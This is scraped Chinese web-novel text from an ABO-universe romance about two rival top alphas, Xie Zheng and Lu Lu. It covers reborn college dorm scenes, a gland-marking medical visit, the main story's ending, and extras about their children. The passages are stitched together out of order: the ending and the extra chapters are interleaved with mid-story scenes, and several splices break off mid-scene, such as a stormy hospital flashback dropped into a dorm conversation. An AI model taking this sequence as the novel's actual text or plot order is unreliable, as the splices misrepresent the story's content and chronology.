这次恐怕没有以往那么好糊弄了。 他没敢再回信息,生怕自己再说错一个字谢铮又要生气了,到时候新账旧账一起算自己真的要完了。 见路鹿装死,谢铮一气之下把他拉进了黑名单,连带着电话号码也拉黑了。 在吃过他点的早餐之后,他摸了摸自己带着牙印的腺体,觉得自己非常有必要得去医院看一下。 于是他找来了一件带衣领的短袖,对着镜子再次确认能够遮住咬痕才放心出门。 随着医生的检查报告出来,谢铮悬着的心终于放了下来。 钟医生看着报表上的数据,不禁有些感慨,“看看你找的这人信息素等级不是一般的高,他不仅仅一下子往你的腺体里面注入了大量的信息素,并且以压倒性的优势抑制住了你腺体里的病因,最大程度的替你疏通了腺体。” 谢铮听的一头雾水,“我俩都是顶级Alpha,但他为什么会有压倒性的优势抑制我?” 钟医生起身去书架上抽出一本书,翻到信息素科普的那一页推给他看,详细的为他解释:“这就关乎到你们信息素本质的问题了。” “你的花香类信息素虽然等级高,但是本质上是偏柔和一类的;而酒精类信息素蛮横霸道,属于最强势的信息素种类之一,所以在本质这一方面,对方确实能够压你一头。” 谢铮不可置信的看着眼前的资料书,有点不愿意接受路鹿能压自己一头这个事实。 钟医生推了推自己的眼镜,“这次的标记是个好事,你现在有大半年的时间,不用担心自己的信息素紊乱症会发作了。” 未了,他还补充了一下,“如果可以,让他多补几次标记的话你很快就能好了。” 多补几次? 他在心里默默的为这个建议打了个叉。 想都不要想,老子就是活活疼死,也绝不能让他咬一口。 谁能告诉我死对头他为什么在这?他上一世不是填了A大吗?我现在怎么在C大的宿舍看见了他? 一定是他开门的姿势不正确。 为了重新确认一遍,他默默把门关上,再重新打开,映入眼帘的还是那张高冷矜贵的脸,谢铮沉默了。 他张了张嘴,其实他有很多话想说,也有很多事想问,但是在对上比记忆里更青涩的那张脸时,一切想说的话语都尽数消散。 一时间,相顾无言。 死对头抱着他去医院的记忆如潮水般浮现在自己眼前,看着前面的男生,谢铮心里仿佛被烙铁烫过了一样,疼得让他不知道该说什么。 少年站在门口,表情淡然,从外面洒进来的暖阳给他身上镀了一层光,如同不食人间烟火的神仙,凛冽感十足的五官很是惹眼,黑白分明的眼里透着一股让人捉摸不清的意味,正直勾勾的盯着他。 谢铮突然间想起,他来的时候,周围的同学们都在讨论,说有一个新生早早就来到学校报到,还是个顶级A,气质和长相都是拔尖的水平。 他当时只是随便听两句没在意,但他没想到竟是他…… 前世互相较量了好几年的人,经常一见面就互怼,现在这人就这么活生生地出现在自己面前,谢铮总感觉天上掉馅饼了,把他脑袋砸得晕乎乎的。 他的大脑此时此刻一片空白,心中在短短几秒内闪过无数个“卧槽”以后,神色复杂艰难开口道:“路鹿?你怎么在这?!” 对方从门边后退了几步,似乎是让他进来,随后靠在床边上神色冷清,摊开双手淡淡的回答他,“ 如你所见,我考上了这里。” 谢铮瞪大了眼睛,心里莫名一紧。上一世明明不是这样的,他现在甚至还清晰记得对方当时手里拿着A大录取通知书向他炫耀的模样。 欠扁又欠揍。 鼻梁上那副金丝框眼镜,谢铮以前再怎么看都觉得他是一个装逼的斯文败类,但现在只看到了对方眼中的懒散跟漫不经心。 他越看心情就越复杂,贼糟心。 见他在愣神,路鹿嘴角微勾轻笑一声,冷清的声音带了点戏谑,“就这么不待见我?” 谢铮悻悻地翻了个白眼,抛开前世那事不说,你自己什么样你心里没点数吗? 自从4岁那年路鹿他们家搬到隔壁之后,谢铮的好日子就到头了。 路鹿那时候特别顽皮,有次不小心踩坏了谢母刚种的铃兰花,怕被家长责骂就用那张人畜无害的脸成功甩锅给谢铮。 当然谢铮也不甘示弱,把路鹿新买的玩具拆成一片一片的,怎么拼都拼不回去。就这样,两人的娃娃仇就此结下。 随着年龄的增长,路鹿也渐渐的收敛起了顽皮的性子,开始认真开始写作业,从此成为了谢女士口中的“别人家的孩子”。 后来他化成Alpha之后,渐渐的就换了一种方式来折磨谢铮,经常来到他面前晃,时不时往他心窝子里呛上几句,更加恶劣了。 谢铮眼都没眨,瞥了他一眼就收回视线,“我一直都不待见你。” “是吗?我怎么不知道?”此时男生冷清的尾音拖长,看着他的眼神散漫且淡然,浑身上下透着禁欲又勾人的气息。 这张脸对于从小看到大的谢铮来说,早已产生了免疫力,他面无表情淡淡道,“那你该换眼镜了。” 接着他麻木地找了个空床位,把行李箱放下,转身就走。 眼不见,心为静,这是谢铮一直以来对路鹿秉持着的道理。 路鹿的目光一直没有离开他身上,视线落在他后颈皙白光滑的腺体上,眸光暗了暗。 没什么意外,双胞胎仍日复一日地进行着婴儿搏击。 见到谢铮,姐弟俩一起朝谢铮爬,谁也不说话,憋足了劲想要第一个爬到谢铮怀里。 最后是姐姐赢了,坐在谢铮手臂上,甜甜软软地叫他:“papa~” 谢星光输给了姐姐,像是输掉了全世界,柔弱无骨地倒在地上,天都塌了的表情。 但过了一会儿又自己缓过来了,不吭声地把自己挤到谢铮怀里,用后背对着谢晨光。 谢铮仿佛看了一场电视剧,笑得很欢乐。 等吃过了晚饭,小孩都乖乖回去睡觉,谢铮坐在沙发上,靠着路鹿的肩膀,随便刷一刷手机,竟然还刷到了关于路鹿那个展的报导。 评论区说什么的都有。 有约伴的,有问出不出片的,有问哪个哪个作品到底是什么含义的。 还有看到过谢铮和路鹿的,感慨他们俩竟然真的是一对的。 不过最多的是问,这个展的名字到底是什么意思的。 谢铮其实也有点好奇。 他问路鹿:“‘人们也许见过的两种存在’,到底是哪两种?” 路鹿并没有立即回答,浅色的眼睛看着他,接着,一点点笑起来。 他说:“是爱情和奇迹啊,谢叔叔。”- 人们也许见过的两种存在 ——爱情和奇迹。 《双A,但生四个》 正文完 2025/06/28【你现在阅读的是 】 【番外合集】 第 67 章 番外1 正少年 番外1 正少年 十年后会是什么样的? 谢铮不知道。 但他知道自己十天后出院,一定要狠狠踹一脚那个把自己从摩托上甩下来的大聪明。 医院很无聊,他什么都没带过来,盯着自己打了石膏的腿发呆,三个脑袋嘿嘿地从门口探进来:“老大,我们来了。” 三个人闹哄哄地挤进来,最前面那人手里还拎了袋水果:“吃香蕉吗,老大?” 问话这人叫田衷,他不喜欢自己的名字,觉得听起来像什么日本姓,大家就叫他大田。 谢铮今年17,高中生,大田已经上大一了,但还是愿意跟着谢铮他们一起玩,笑嘻嘻地跟着其他人一起叫谢铮老大。 循着记忆,谢铮带着笔记本和笔来到了位于学校东边的桃树林里,这里树干粗壮又高大,树冠遮掩了大部分阳光,特别阴凉又安静。 随便选了棵树,找到支点两三下就爬上去,动作干净利索,一看就是惯犯。 谢铮刚走出来没几步,谢女士的电话就打了过来,看着来电显示上的【谢仙女】,他心情十分复杂的接通了。 “宝贝儿子,开学第一天怎么样啊?”她顿了顿,语气里是难以抑制的雀跃,“我跟你说,路鹿也考上了跟你同一所大学哦,到时候你俩就可以互相照应一下。” 谢铮听了差点一口气没提上来,咬牙切齿道,“妈,你咋不早点跟我说他和我上同一所大学?” 谢女士在那边装傻充愣,“啊?我还以为你知道呢。” 谢铮:“……” 好气,合着就他一个人不知道是吧? 还没等他再开口,谢女士直接抛下一句,“老公在叫我吃饭,爱你哟宝贝儿子,先挂了拜拜。”干净利落的挂了电话。 谢铮站在树荫底下,身形寥寥,拿着手机怀疑人生。 呵,俗话说的好,老公是真爱,孩子是意外,谢女士还真是完美的诠释了这个道理。 把手机揣回兜里,谢铮往学校的商店走去了。 其实就算是没有路鹿他也会出来的,毕竟他的生活用品都没带齐。 他拿了毛巾、晾衣架、小台灯之类的杂七杂八的东西,掂量了一下手里的用品,正准备去结账时,手机突然传来一条微信提示音。 王八蛋:【你是在外面买东西吗?】 王八蛋:【如果是的话顺帮我带一条毛巾。】 【微信转账100元】 一看到路鹿发过来的信息,谢铮瞬间就来劲儿了,立马打字:【先叫声爸爸,你要多少条我都给你买】 王八蛋:【……】 话虽是这样说,但谢铮还是收了他的钱,选择帮他买了。 毛巾有不同厚度的,谢铮看了看这条,又看了看那条,说不准路鹿更习惯用哪种的,为此站在那里纠结了好半天。 到最后,谢铮也懒得去纠结了,每种样式都拿了一条,粉色的,绿色的,灰色的都给他拿上。 ——特么的,管他爱用不用,反正他给的钱够多。 正准备结账时,手机又传来微信提示音。 【微信转账50元】 王八蛋:【就当是辛苦费,给你买糖吃】 谢铮:…… 忍无可忍,无需再忍,他也顾不上排队结账了,直接离开队伍走到一个货架边上疯狂打字。 铮:【就这点钱,你打发叫花子呢?我稀罕你这钱?】 铮:【还有,你当我是三岁小孩,还买糖吃?】 铮:【别来沾边.jpg】 对面并没有回话,而是直接发来转账。 【微信转账250元】 上面还备注:这回够了吧? 谢铮面无表情的盯着那250,怎么总感觉他在骂他呢? 他没要那钱,把手机静音之后重新回到队伍里排队准备结账。 回宿舍的路上,谢铮的心已经稍稍平静了下来,接受了路鹿跟他在同一所学校的事实,哪怕心里再不乐意也没办法。 兵来将挡,水来土掩,天要亡我,无处可躲,认命吧…… 拎着东西回到宿舍之后,谢铮感觉整个人就像是刚从水里捞出来的一样,浑身都是水,啊不,应该说是浑身都是汗。 信息素混杂着汗水在他的皮肤表面挥发出来,浅淡而又清香。 路鹿拿着空调遥控器在他面前晃了晃,语气贼欠揍,“凉快吧?这可是我刚刚去宿管处拿的,特地在你摆驾回宫之前为你打造一个舒适的环境,看我对你多好。” 好个屁。 谢铮默默的翻了个白眼,拿起那一袋子毛巾扔给了他,“你的毛巾。” 接住他扔过来的毛巾,他有些诧异的放在手里掂了掂,“这毛巾怎么有点重?” “自己看。” 解开袋子全部倒出来,路鹿大致去数了数。 好家伙,一共有10条毛巾,其中粉色与绿色居多。 路鹿:…… 他斟酌了一下自己的语言,随后看着他,语气里透着无奈,“我感觉你的审美有点问题。” 正在擦汗的谢铮动作一顿:??? 抬手捏起一条粉色毛巾跟一条绿色毛巾,放在谢铮的面前甩了甩,“你觉得这两种颜色配得上我吗?” 谢铮立马乐了,“你看这粉红色,绝对能唤起你内心的少女……啊呸,少年心。” 他又指了指另外一条,眉飞色舞说道,“不是有句俗话说的好吗,要想生活过得好,那就必须带点绿,看这颜色,它是多么的清新;看这质地,他是多么的柔软,你用它最适合不过了。” 路鹿:…… 你不去当营销简直就是催屈才了。 谢铮还在那继续滔滔不绝,“这么多的毛巾,你要是用不完,还可以去送给你喜欢的 Omega,多划算。” 路鹿轻笑一声,“我还是留着吧,毕竟没有喜欢的Omega。” 喜欢的Alpha倒是有一个,就是脾气有点差,得当祖宗一样哄着。 谢铮也没去理他,先去收拾自己的床位了,可接下来的套被单让他犯了难。 他好像不会弄…… 在家里一般都是秦姨搞定一切,他只负责享受就行了,这就导致了一个缺点——生活自理能力低下。 弄不好,理还乱。 在跟被单奋斗了将近20分钟之后,谢铮自暴自弃了,撇了撇嘴,直接整个人向后一躺,倒在被子上望着天花板发呆。 这是四人间宿舍,其他两个人还没到,谢铮的自尊心不允许他向那个人求助,干脆就直接躺平等待了。 躁动的蝉鸣,安静的宿舍,浅淡的信息素味,难以忽略的人。 “唉……”一声叹息打破了这寂静。 路鹿看不下去了,他叹了口气,声音有些无奈,“让你求助一下我会死吗,我好歹也算是个免费劳动力。” 谢铮没有说话。 男生从自己的床上翻身下来,来到他床前,耐着心跟他说,“起来一下吧,我给你弄,很快就好的。” 对方高大的身躯挡住了光线,使谢铮处在阴影之中,但他这回说话难得没挑刺,反而有些别扭,“那谢谢你了。” 起身,把床位让给他,谢铮就在一旁站着看他弄。 套被,对角,摊平……一套流程下来,行云流水,迎刃有余。 其实从小到大一直都是路鹿在照顾他,抛开那些私人恩怨不说,这家伙是真的对他好,大多数时候自己闯祸了都是他给兜的底。 跟个亲哥哥一样,就是性格有点恶劣- 路鹿给奶奶在临渊买了一套小房子,用积蓄付了首付,奶奶逢人就炫耀,回老家收拾东西的时候邻居们看到路鹿就夸,凉爽的秋天里愣是给路鹿夸到面红耳赤。 收拾东西的时候路鹿看到自己那本填色书,翻了翻,十几年前的记忆竟然很清晰地涌到脑海里。 那时候他身体不好总住院,这一套蜡笔,还有这本填色书真的陪了他很久,后来看到他喜欢,父母和奶奶又给他买了别的填色书,再后来,他不满于这些固定的图案,开始自己画画。 他家条件不算好,路鹿从高中开始打工,倒真的成功走上艺术这条路,也因此在Y大遇到了谢铮。 路鹿拿出手机给谢铮发了条消息:谢叔叔,你相信缘分吗? [谢]:我相信你们这边的饭没有小份 [谢]:图片 图片是一个塑料袋里装着的盒饭,每只都巨大无比。 过了一会儿谢铮回来了,男人今天少见地没穿西装,修身的黑T,完美凸显身材。 老房子里大的东西谢铮已经找人搬走了,现在剩下的是一些零零碎碎的小东西。老人家和路鹿的很多东西谢铮都不知道要不要,路鹿说他自己来就可以,谢铮也没和他客气,吃完了午饭,趴在阳台上抽根烟,又躺在沙发上。 他觉得自己今天的作用就是扮演一个摆件,也不添乱也不帮忙,偶尔觉得年轻alpha挽着袖子埋头搬东西的样子很性感,就溜达过去打个啵。 等路鹿快收拾完的时候谢铮还接到谢里发来的消息。 [愚弟]:你在哪里呢?我过来你不在 后面还跟了一个他拍的视频,双胞胎分别拉着谢迹的左右手,谢迹蹲在他们面前,揉揉这个脸,摸摸那个的头发,软声软气的:“小晨,小星,你们和好好不好呀?拜托拜托。” [谢]:在陪他搬家 他偶尔会和谢里聊到路鹿,但很少直接打出路鹿的名字,打大名觉得奇怪,单独打一个“鹿”字又有秀恩爱的嫌疑,谢铮就一般用“他”来代替,反正谢里也知道是谁。 他拍了张照发过去,收获了谢里的一大串省略号。 [愚弟]:………… [愚弟]:还真是陪啊,你都不帮忙的 [愚弟]:搬个家你都得陪着?看不出来啊,你这么喜欢人家 [愚弟]:你知道你这种叫什么? [谢]:什么? [愚弟]:老房子着火 [谢]:………… 毛病,什么老房子,说的都是人不爱听的,那要是按火势,路鹿这恋爱脑的小房子烧得更猛呢。 谢铮冷笑,短暂地把他弟拉黑了五分钟。 第 68 章 番外2 番外2 童话梦① 身为一个年仅四岁的幼儿园学生,谢迹竟然还有作业。 数学老师留了口算,英语老师让唱字母歌,美术老师的作业是画一张“冒险”的画。 谢迹很快完成了口算和唱字母歌,又去摇路鹿的衣角:“爸爸,可不可以把你的纸和笔借给我画画呀?” “当然可以。”路鹿扬着眼角,问他:“小迹,宝宝,你要多大的纸?要蜡笔还是水笔?” “嗯,嗯。”谢迹认真思考半天:“不要太大的纸,小一点就可以。要蜡笔,爸爸,很多颜色的蜡笔。” 路鹿应了一声,立刻起身朝工作室走,走到一半又转回身来,使劲儿在谢迹脸上亲一下:“爸爸的小迹宝宝怎么这么可爱呀?” 谢迹摸摸自己被亲的地方,红着脸呵呵笑。 等路鹿给他拿来了纸笔,谢迹也没回自己的房间,就趴在客厅的茶几上。 谢铮本来是在书房开会,门没关严,他刚好能看到糯米团子在茶几前正襟危坐的样子。等开完了会,他就坐过去,坐在后面沙发上看谢迹画画。 中午的太阳很毒,宿管于心不忍,朝手把他们从外面叫了回来,“你们还是回去宿舍里吧,等会中暑可就完了,教导主任那边有我担着。” 终究还是不想暴晒了,俩人也没推辞,乖乖的回去了。 一进宿舍回归到空调的怀抱里,路鹿都如释重负,躺倒在床上了。 谢铮没躺,只觉得自己身上黏糊糊的,还散发着汗味,露出了嫌弃的表情。 找了几件换洗的衣服,他进了冲凉房洗澡。哼,懒得理他,低头继续炫自己的小龙虾,才不跟傻子一般见识。 在谢铮快吃完的时候,有一滴油渍不小心滴到了他放在桌面上的手机屏幕上,他下意识皱了皱眉,想把它擦掉,余光瞥见路鹿那边有一盒纸,于是他脱下塑料手套伸手去拿。 指尖还未碰及纸巾,却被一双温暖大手轻轻握住手腕,谢铮不知为何眼皮一跳,视线沿着那只手一路往上,猝不及防的对上了那人深邃的眸子。 谢铮只觉得耳根莫名有些热,没好气道,“你干嘛?想占老子便宜?” “你刚刚是怎么回事?混乱信息素爆发的时候我在你脸上看到了难受的表情。”路鹿直直的盯着他,语气是尽可能的温柔,“按道理来说,这对你构不成什么影响。” 谢铮微微一愣,心脏疯狂跳动,手心生出冷汗,眼睛不自觉的避开路鹿的视线,强装镇定淡淡开口,“我能有什么事,只不过是那几个垃圾的信息素太臭了,让我生理不适。” 对方没有说话,似是在思考这番话的可信程度。 本着不想让对方打破砂锅问到底的原则,谢铮扯了扯还被他抓在手心的手腕,半凶道,“还不赶紧给我撒手。” 手果然松开了,总感觉自己手上还残留着对方的体温,有点热。 迅速抽了一张纸把油渍擦干净,他立马起身,朝他挥了挥手,“我先走了,咱们这桌的钱我也已经付过了。”头也不回的就走。 就跟逃跑似的。 胡乱理了理自己的头发,谢铮不论怎么看都总觉得自己跟做贼心虚一样。 要是让路鹿那玩意知道了自己的腺体出了点问题,指不定又要大肆嘲笑他。 想到这里,谢铮暗自咬咬牙,更加坚定了要隐瞒的心,反正到时候也要去医院看的,应该很快就可以治好了,没必要跟他说。 回到宿舍的时候,他发现另外两个室友到现在都还没来,有些诧异,今天不是新生报到的最后一天吗?他们怎么还没来? 算了,不管那么多,刚刚吃完东西有点困意上来了,简单的整理一下东西他就直接躺下睡了。 明天还有军训,得早点休息,养足精神。 谁曾想,刚睡下两个小时不到的他就被吵醒了,只听门那边传来“吱呀”一声,伴随着轻微的脚步声缓缓走进来,谢铮猛的睁开眼睛,第一反应是——有贼进来了! 那人走的步子极缓,但脚步声在这偌大的空间里显得很醒目,却最终停留在他床边声音就没了。 谢铮整个人的心都悬了起来。 他是侧躺着的,身后的人不知道他醒了,一只手轻轻挑开蚊帐,另一只手给他掩了掩被子,动作极其温柔。 谢铮甚至能闻到这人手上那片皮肤散发出来一缕淡淡的酒味儿。 是龙舌兰。 可能是由于这信息素的主人刻意收敛了,谢铮没有感觉到它的强劲霸道,反而觉得它的味道有些甘醇甜美,让他愿意沉醉其中。 奇怪,这不是Alpha的信息素吗?为什么他现在感觉不到那种很强烈的排斥感,自己也没有因为这信息素而感到像以往一样特别浓烈的烦躁。 同性相斥的反应变小了? 他有些气恼地抓住了那只魔爪,支起身子,没安好气的对爪子的主人说道,“想对我图谋不轨?” 只听那人轻笑一声,眼尾上挑,清澈的瞳孔被台灯折射出细碎的光,勾了勾唇角,“我还以为你睡死了呢。” 乌云压抑着天空,一瞬间,电闪雷鸣,风雨交加,雨水正猛烈的拍打在窗户上发出巨大声响。 在充满蔷薇花信息素的房间里,一个身形消瘦的男人裹着厚被子将自己死死的蜷缩在一起,明明正值夏季,他却感受到了无边的寒冷正侵蚀着他的骨髓,让他生不如死。 颤颤巍巍的摸上自己的后颈,果然不出所料,那里早已红肿一片,烫得厉害,也疼得厉害。 信息素紊乱症又发作了,而且这一次比以往任何一次还要严重,仿佛坠入寒潭一般,无尽的寒意早已将自己淹没。 药就在床头的抽屉里面,可谢铮已经没有力气去拿了,只能喘着粗气躺在床上,眼神呆滞的望着天花板,可以说是放弃挣扎了。 谢铮自嘲地笑了笑,自己恐怕是第一个因为信息素紊乱而死的顶级Alpha,他甚至都可以想象到明天的新闻报道会怎样大肆宣传。 顺风顺水了半辈子,最后却了这个下场,他很是不服。 随着时间的流逝,寒冷似乎已经完全侵没了他的身体,让他身子动弹不得,意识也渐渐模糊了起来,周围的一切都天旋地转晃得他眼花。 就在他意识要沉于混沌的时候,他隐约听见了“嘭”的一声,似乎是门被踹开了,门板碰撞在墙上发出剧烈响声。紧接着,他的身子被揽入了带着雨水湿气的怀抱,冰凉的手抚上他的脸,带着一股若有若无的、让人沉醉的酒精味信息素。 “谢铮醒醒!别睡,我这就把你送去医院,坚持住!”男人一边着急的唤醒他,另一只手在不断按摩着他后颈的腺体,仿佛这样他就能好受点。 谢铮费力的睁开眼睛,很快他眼中浮现了一个模糊的轮廓,虽说很模糊,但他很快就能在心里勾勒出那个人的模样。 是他的死对头。 可是为什么?他为什么会出现在这里?他为什么要救我?他们不应该是老死不相往来吗? 谢铮心里有很多话想问,但他没这个力气,也没这个时间问了,最后一点意识绷断,搭在他身上的手臂缓缓垂落,彻底陷入无尽的深渊。“……”合着你真的想对入睡的我图谋不轨似的。 “既然你没睡,那就先涂了这个再睡吧,这样会舒服点。” 话音刚落一个白色塑料袋被丢了过来,谢铮猛地反应过来伸手稳稳接触。 打开一看,是一支跌打止痛膏。 没多久,淅淅沥沥的水声从门里传了出来,听的路鹿耳朵痒痒的,他翻了个身,用被子把头捂住。 好吵。“你先别着急着午睡,我们的军训服还没去领,先去一趟B栋教学楼的楼下领。”路鹿把自己收拾好之后提醒了一下他。 不知是重生之后脑子太过混乱了,很多事他一时都没记起来,别人家的新生都在兴高采烈的去学校内到处乱逛熟悉环境,把啥的一切都准备好。 而他是直奔宿舍,然后就出去吃东西,把要领的军训服都忘得一干二净。 况且明天就要军训了,到时候被抓到仪容仪表不规范,估计要被教官逮出来操场跑几圈。 他拉开窗帘瞅了瞅外面。 哪怕已经是下午三点多了,阳光依旧猛烈,烤得树上的蝉不停的在鸣叫,空气中的热浪在不停的翻滚着。 说实话他并不是很想出去,但他也不想托路鹿帮忙。 上辈子欠的人情已经够大了,这一世他的脸皮薄,在还清之前他不想再欠了。 谢铮从行李箱里翻出一顶鸭舌帽反扣在头上,这样能够最大程度地遮住腺体被太阳灼晒到,总比一直裸露着舒服点。 刚才被罚站在宿舍楼下的时候,他的腺体总是痒痒的,再加上汗水薄薄的一层覆盖在上面,难受的要死,他想挠又怕伤到自己,只能一直忍着。 “所以你戴帽子的目的不是为了遮阳而是耍帅的?” 某人的嘴欠行为又开始了。 谢铮的眉毛挑了一下,在路过他的时候,拍了拍他的肩膀,裂开嘴笑了一下,露出那颗锋利的犬齿,“那当然,必须得让我的帅来完全碾压你。” 路鹿知道这人欠抽的嘴是没法改了,只能点头附和道,“没事,我相信谢大少爷脸上的皮肤黑一点也是很帅的。” 他头发最近有点长了,颜色有些浅、柔顺细软的头发垂下来,贴在脸颊上,让小孩儿看起来有种小姑娘一样的秀气。 路过的不少人都多看两眼,夸仨小孩:“长得真好看,这么好看呢?” 谢晨光和谢星光躺在婴儿车上晃着脚,对别人的夸奖保持着一种心安理得的享受态度。反而是谢迹被夸得满脸通红,扯扯谢铮的手臂:“爸爸,你可以抱着我走路吗?拜托啦。” 谢铮让他坐在自己手臂上,谢迹立刻搂着他的脖子把脸藏了进去。 一路上他猜了许多谢铮要带他去哪里,但都猜错了。十几分钟后谢铮在一家店前面停下来:“到了。” 谢迹抬头看店面招牌,仔仔细细地认了半天:“嗯……嗯……” 唉,可怜的小文盲。 谢铮带着他进去,店员立刻迎上来:“小迹小朋友。” 谢迹眨眨眼,没立刻回话。 店员拿出来一套衣服,哄小孩:“爸爸说小迹小朋友做了个梦,梦里变成了王子,穿着很帅气的衣服,小迹看看,那套衣服和这一套像不像呀?” 谢迹愣了愣,一双葡萄似的眼睛越睁越大,他不可置信地看看那套欧风王子服,再回头看看谢铮和路鹿:“……爸爸!哇!爸爸——” “傻乎乎的。”谢铮靠在墙上,肩膀挨着路鹿的肩膀:“影棚里的衣服,一天八十五块就能租到,小孩儿就是好糊弄。” 路鹿手握成拳挡在嘴巴,努力憋笑的表情。【你现在阅读的是 】